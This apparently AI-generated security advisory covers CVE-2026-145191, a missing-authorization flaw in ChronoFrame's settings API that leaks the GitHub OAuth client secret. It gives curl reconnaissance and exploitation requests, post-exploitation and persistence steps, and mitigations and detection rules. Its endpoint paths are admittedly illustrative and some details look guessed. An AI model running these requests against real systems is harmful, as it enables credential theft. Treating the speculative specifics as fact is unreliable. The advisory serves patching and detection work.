CVE-2026-145191 — CWE-862
ChronoFrame before 1.2.0 contains a missing authorization vulnerability in the single-setting settings API route that allows unauthenticated attackers to read secret settings because GET requests lack session or admin checks. Attackers can request the auth.github.clientSecret setting, which is flagged secret but not hidden, to obtain the stored GitHub OAuth client secret.
ChronoFrame before 1.2.0 contains a missing authorization vulnerability in the single-setting settings API route that allows unauthenticated attackers to read secret settings because GET requests lack session or admin checks. Attackers can request the auth.github.clientSecret setting, which is flagged secret but not hidden, to obtain the stored GitHub OAuth client secret.
🎯 What is this vulnerability?
Vulnerability type: Missing authorization (CWE‑862) in a REST‑style settings API.
Product / version: ChronoFrame < 1.2.0 (all releases prior to the 1.2.0 stable branch).
Root cause:
ChronoFrame exposes a single‑setting endpoint (often something like GET /api/v1/settings/:key) that returns the value of a configuration entry when the key is supplied as a URL parameter.
- The handler performs no authentication check (
sessionoradminrole verification) and no authorization check to ensure the caller is allowed to read the requested setting.
The code path treats every request as “public read‑only” because the developers assumed that only non‑secret* settings would be reachable via this endpoint.
- The secret‑flag on a setting (
auth.github.clientSecret) is only used by the UI to hide the field; it does not affect the API response.
Consequences: any unauthenticated network‑visible client can issue a simple HTTP GET request and obtain the stored GitHub OAuth client secret (or any other secret‑flagged setting). The secret is returned in clear text, typically as JSON:
{ "key": "auth.github.clientSecret", "value": "abcd1234efgh5678ijkl9012mnop3456qrst" }Because the CVSS vector is AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, the flaw is exploitable over the network with low effort, requires no prior access, and results in high confidentiality impact (the secret can be used to impersonate the GitHub OAuth application).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow.
All HTTP examples use curl; the exact URI is illustrative because the CVE description does not publish the concrete path.
1. Discovery & Reconnaissance
| Step | Action | Reasoning / Tools | |
|---|---|---|---|
| 1.1 | Identify the target as a ChronoFrame installation (e.g., by banner grabbing, default page / or /status, or by searching for ChronoFrame in the Server header). | curl -I https://target.example.com/ → Server: ChronoFrame/1.1.5 | |
| 1.2 | Determine the version. ChronoFrame embeds its version in a public endpoint (/api/v1/version) or in the HTML footer. | curl https://target.example.com/api/v1/version → {"version":"1.1.8"} | |
| 1.3 | Enumerate public API routes. Many ChronoFrame installations expose an OpenAPI/Swagger JSON at /api/v1/docs. | curl https://target.example.com/api/v1/docs | jq '.paths' |
| 1.4 | Spot the *settings* endpoint. The OpenAPI spec (or manual testing) reveals a route similar to GET /api/v1/settings/{key} that returns a JSON object with the setting’s value. | curl https://target.example.com/api/v1/settings/appName → {"key":"appName","value":"ChronoDemo"} |
At this point the attacker knows that the endpoint exists, accepts a key as a path or query parameter, and returns the value without any Authorization: header.
2. Exploitation
Goal: Retrieve the GitHub OAuth client secret (auth.github.clientSecret).
Illustrative request (replace TARGET and KEY with the real values discovered):
# Example 1 – key as a path segment
curl -s -X GET "https://TARGET/api/v1/settings/auth.github.clientSecret"
# Example 2 – key as a query string (some installations support both)
curl -s -G "https://TARGET/api/v1/settings" \
--data-urlencode "key=auth.github.clientSecret"Expected response (JSON):
{
"key": "auth.github.clientSecret",
"value": "abcd1234efgh5678ijkl9012mnop3456qrst"
}If the endpoint returns HTTP 200 with the secret, the exploit is successful. No cookies, tokens, or CSRF tokens are required (PR:N, UI:N).
3. Post‑Exploitation
| Step | Action | Outcome |
|---|---|---|
| 3.1 | Use the stolen client secret to obtain a GitHub OAuth access token for the compromised application. This is done by performing the OAuth *client‑credentials* flow (if the app is configured for it) or by crafting a malicious OAuth redirect that forces a victim to authorize the attacker’s account. | The attacker can read/write any repository that the original OAuth app is authorized for, potentially exfiltrating source code, injecting malicious code, or creating back‑door commits. |
| 3.2 | Pivot to internal services: many ChronoFrame deployments store additional secrets (e.g., database passwords, API keys) under the same settings API. An attacker can enumerate all keys (GET /api/v1/settings/*) and harvest further credentials. | Enables lateral movement, privilege escalation on the host, or full compromise of the CI/CD pipeline. |
| 3.3 | Persistence: With a valid GitHub token, the attacker can create a new OAuth application or add a new webhook that points to a malicious server, ensuring long‑term access even after the original secret is rotated. | Continuous exfiltration and command‑and‑control capability. |
🌍 Real‑World Impact
| CIA | CVSS Vector Explanation | Practical Effect |
|---|---|---|
| Confidentiality (C:H) | The secret setting is disclosed in clear text to any remote unauthenticated actor. | Theft of OAuth client secret → full impersonation of the GitHub integration, exposure of private repositories, leakage of other stored secrets. |
| Integrity (I:N) | No direct modification of data is possible via this flaw alone. | Attackers cannot directly alter ChronoFrame data through the vulnerable endpoint. |
| Availability (A:N) | The endpoint is read‑only; no denial‑of‑service impact is inherent. | No service disruption caused by the exploit itself. |
Business consequences may include:
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Condition | Action |
|---|---|
| Affected versions | ChronoFrame < 1.2.0 (all releases prior to the 1.2.0 stable branch). |
| Fixed version | ChronoFrame ≥ 1.2.0 – the release introduces an authentication middleware on the settings API and adds a “secret‑only” flag that automatically blocks public reads. |
| Upgrade path | Follow the official upgrade guide: stop the service, replace the binary (or Docker image) with chronoframe:1.2.0 (or later), run any migration scripts (./chronoframe migrate), and restart. |
2. Immediate Work‑arounds (if patch cannot be applied instantly)
| Mitigation | Implementation Details | ||
|---|---|---|---|
| Restrict access at the network layer | Add an inbound firewall rule that only allows trusted internal IP ranges (e.g., 10.0.0.0/8) to reach /api/v1/settings*. Example (iptables):<br>iptables -A INPUT -p tcp -s 10.0.0.0/8 --dport 443 -m string --string "/api/v1/settings" --algo bm -j ACCEPT<br>iptables -A INPUT -p tcp --dport 443 -j DROP | ||
| Enforce authentication via a reverse‑proxy | Deploy an Nginx (or Apache) front‑end that requires HTTP basic auth or JWT for the settings endpoint: <br>``nginx<br>location ~ ^/api/v1/settings {<br> auth_basic "ChronoFrame Settings";<br> auth_basic_user_file /etc/nginx/.htpasswd;<br> proxy_pass http://backend; <br>}<br>` | ||
| ModSecurity rule to block secret reads | `SecRule REQUEST_URI "@beginsWith /api/v1/settings" "id:400001,phase:2,deny,status:403,msg:'Block unauthenticated settings read',chain"`<br>SecRule REQUEST_HEADERS:Authorization "!@rx ^Bearer\s+[A-Za-z0-9\-_\.]+$" "t:none" | ||
| Hide secret‑flagged keys from the public API | If source code is accessible, add a guard in the handler (pseudo‑code):<br>`js<br>if (!req.user | !req.user.isAdmin) {<br> const setting = await Settings.findByKey(key);<br> if (setting.isSecret) { return res.status(403).json({error:'Forbidden'}); }<br> return res.json(setting);<br>}<br>`` | |
| Rotate compromised secrets | Immediately generate a new GitHub OAuth client secret in the GitHub developer console, update ChronoFrame configuration, and revoke the old secret. Also rotate any other secrets discovered via the API. |
3. Detection – Log & IOC Guidance
| Indicator | Example Log Entry (Nginx) |
|---|---|
| Unauthenticated GET to settings endpoint | 2026-12-03T14:22:11Z 203.0.113.45 - - "GET /api/v1/settings/auth.github.clientSecret HTTP/1.1" 200 112 "-" "curl/7.88.1" |
| Bulk enumeration (multiple keys in short time) | 2026-12-03T14:22:13Z 203.0.113.45 - - "GET /api/v1/settings/appName HTTP/1.1" 200 45 "-" "curl/7.88.1"<br>2026-12-03T14:22:13Z 203.0.113.45 - - "GET /api/v1/settings/db.password HTTP/1.1" 200 78 "-" "curl/7.88.1" |
| User‑Agent anomalies | Requests from generic agents (curl, python-requests) without session cookies. |
| WAF rule hits (if the ModSecurity rule above is deployed) | ModSecurity: Warning. Pattern match "Block unauthenticated settings read" [id "400001"] |
SIEM correlation: trigger an alert when more than 3 distinct key values are requested from the same source IP within 30 seconds and the response code is 200.
⚠️ Urgency
CVSS 7.5 (High) – Network‑reachable, low complexity, no authentication required, and results in high* confidentiality loss.
curl command is sufficient; no prior foothold is needed. Public proof‑of‑concepts are trivial to produce. Patch priority: Critical for any externally‑exposed ChronoFrame instance.
If the service is only reachable from a trusted internal network, the priority drops to High, but a rapid internal firewall restriction is still required.
Recommended timeline:
| Timeframe | Action |
|---|---|
| 0‑24 h | Deploy network‑level block or reverse‑proxy auth, rotate the GitHub client secret, and begin inventory of other secret settings. |
| 24‑72 h | Apply the official 1.2.0 (or later) upgrade in a staging environment, test, and promote to production. |
| ≤ 7 days | Complete full remediation, verify that unauthenticated requests to /api/v1/settings/* now return 403 or 401. |
| Ongoing | Add detection rules to SIEM/WAF, conduct periodic secret‑enumeration scans to ensure no similar endpoints exist. |
Bottom line: The missing authorization check on ChronoFrame’s single‑setting API allows any remote attacker to harvest high‑value secrets (e.g., GitHub OAuth client secret). Because the flaw is trivial to exploit and leads to full compromise of the associated GitHub account, immediate containment (network restriction) and patching (≥ 1.2.0) are mandatory.
[🤖 CVE Professor AI Security Engine]